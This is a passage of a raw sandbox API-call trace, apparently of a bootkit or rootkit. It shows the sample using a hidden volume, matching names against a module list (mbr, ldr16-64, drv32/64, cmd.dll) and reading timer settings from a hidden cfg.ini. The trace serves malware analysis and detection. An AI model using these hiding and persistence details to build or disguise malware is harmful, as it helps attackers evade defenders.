KeEnterCriticalRegion () [0127.315] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.316] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.316] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.316] KeLeaveCriticalRegion () [0127.316] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.316] KeEnterCriticalRegion () [0127.316] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.316] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.316] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039bbaf0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.316] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.316] KeLeaveCriticalRegion () [0127.316] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.316] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.316] KeEnterCriticalRegion () [0127.316] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.316] ExFreePoolWithTag (P=0xfffffa800c4f7760, Tag=0x0) [0127.316] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.316] KeLeaveCriticalRegion () [0127.316] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.316] ReleaseMutex (hMutex=0xf0) returned 1 [0127.316] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.316] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.316] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.316] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.316] KeEnterCriticalRegion () [0127.316] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.316] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.316] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.316] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.316] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.316] IdePortDispatch () returned 0x103 [0127.318] KeWaitForMutexObject () returned 0x0 [0127.318] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.318] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.318] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.318] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.318] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.318] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.318] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.318] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.318] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.318] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.318] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.318] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.318] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.318] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.318] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.318] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.318] KeLeaveCriticalRegion () [0127.318] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.318] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.318] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.318] KeEnterCriticalRegion () [0127.318] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.318] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.318] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.318] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.318] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.318] IdePortDispatch () returned 0x103 [0127.319] KeWaitForMutexObject () returned 0x0 [0127.319] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.319] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.319] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.319] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.319] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.319] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.319] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.319] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.319] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.319] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.319] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.319] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.319] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.319] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.320] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.320] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.320] KeLeaveCriticalRegion () [0127.320] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.320] ReleaseMutex (hMutex=0x100) returned 1 [0127.320] Sleep (dwMilliseconds=0x2bf20) [0127.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f190ff0, dwHighDateTime=0x1d24fa4)) [0127.336] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.336] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.336] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.336] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.336] KeEnterCriticalRegion () [0127.336] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.336] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.336] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.336] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.336] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.336] IdePortDispatch () returned 0x103 [0127.337] KeWaitForMutexObject () returned 0x0 [0127.337] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.337] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.337] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.337] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.337] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.337] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa87f0 [0127.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.337] KeLeaveCriticalRegion () [0127.337] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.337] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.337] KeEnterCriticalRegion () [0127.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.337] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.337] KeLeaveCriticalRegion () [0127.337] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.337] KeEnterCriticalRegion () [0127.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.337] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.337] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.337] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.337] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.337] IdePortDispatch () returned 0x103 [0127.338] KeWaitForMutexObject () returned 0x0 [0127.338] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.338] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.338] KeLeaveCriticalRegion () [0127.338] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.338] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.338] KeEnterCriticalRegion () [0127.338] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.338] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc1000 [0127.338] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.338] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.338] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.338] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.338] IdePortDispatch () returned 0x103 [0127.338] KeWaitForMutexObject () returned 0x0 [0127.338] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.338] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.338] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.338] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.338] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.338] IdePortDispatch () returned 0x103 [0127.339] KeWaitForMutexObject () returned 0x0 [0127.339] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.339] KeLeaveCriticalRegion () [0127.339] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.339] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.339] KeEnterCriticalRegion () [0127.339] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.340] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.340] KeLeaveCriticalRegion () [0127.340] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.340] KeEnterCriticalRegion () [0127.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.340] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.340] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.340] KeLeaveCriticalRegion () [0127.340] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.340] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.340] KeEnterCriticalRegion () [0127.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.340] ExFreePoolWithTag (P=0xfffffa8003aa87f0, Tag=0x0) [0127.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.340] KeLeaveCriticalRegion () [0127.340] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.340] ReleaseMutex (hMutex=0xf0) returned 1 [0127.340] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.340] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.340] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.340] KeEnterCriticalRegion () [0127.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.340] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.340] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.340] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.340] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.340] IdePortDispatch () returned 0x103 [0127.341] KeWaitForMutexObject () returned 0x0 [0127.341] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.341] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.341] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.341] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.341] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.341] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7280 [0127.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.341] KeLeaveCriticalRegion () [0127.341] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.341] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.341] KeEnterCriticalRegion () [0127.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.341] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.341] KeLeaveCriticalRegion () [0127.341] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.341] KeEnterCriticalRegion () [0127.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.341] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.341] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.341] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.341] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.341] IdePortDispatch () returned 0x103 [0127.341] KeWaitForMutexObject () returned 0x0 [0127.342] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.342] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.342] KeLeaveCriticalRegion () [0127.342] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.342] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.342] KeEnterCriticalRegion () [0127.342] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.342] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc2000 [0127.342] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.342] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.342] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.342] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.342] IdePortDispatch () returned 0x103 [0127.342] KeWaitForMutexObject () returned 0x0 [0127.355] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.355] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.355] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.355] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.355] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.355] IdePortDispatch () returned 0x103 [0127.355] KeWaitForMutexObject () returned 0x0 [0127.355] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.355] KeLeaveCriticalRegion () [0127.355] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.356] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.356] KeEnterCriticalRegion () [0127.356] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.356] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.356] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.356] KeLeaveCriticalRegion () [0127.356] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.356] KeEnterCriticalRegion () [0127.356] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.356] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.356] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039bbaf0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.356] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.356] KeLeaveCriticalRegion () [0127.356] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.356] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.356] KeEnterCriticalRegion () [0127.356] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.356] ExFreePoolWithTag (P=0xfffffa800c4f7280, Tag=0x0) [0127.356] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.356] KeLeaveCriticalRegion () [0127.356] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.356] ReleaseMutex (hMutex=0xf0) returned 1 [0127.356] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.378] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.379] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.379] KeEnterCriticalRegion () [0127.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.379] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.379] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.379] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.379] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.379] IdePortDispatch () returned 0x103 [0127.379] KeWaitForMutexObject () returned 0x0 [0127.379] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.379] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.379] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.379] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.379] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.379] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7280 [0127.379] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.379] KeLeaveCriticalRegion () [0127.379] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.379] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.379] KeEnterCriticalRegion () [0127.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.379] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.379] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.379] KeLeaveCriticalRegion () [0127.379] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.379] KeEnterCriticalRegion () [0127.380] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.380] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 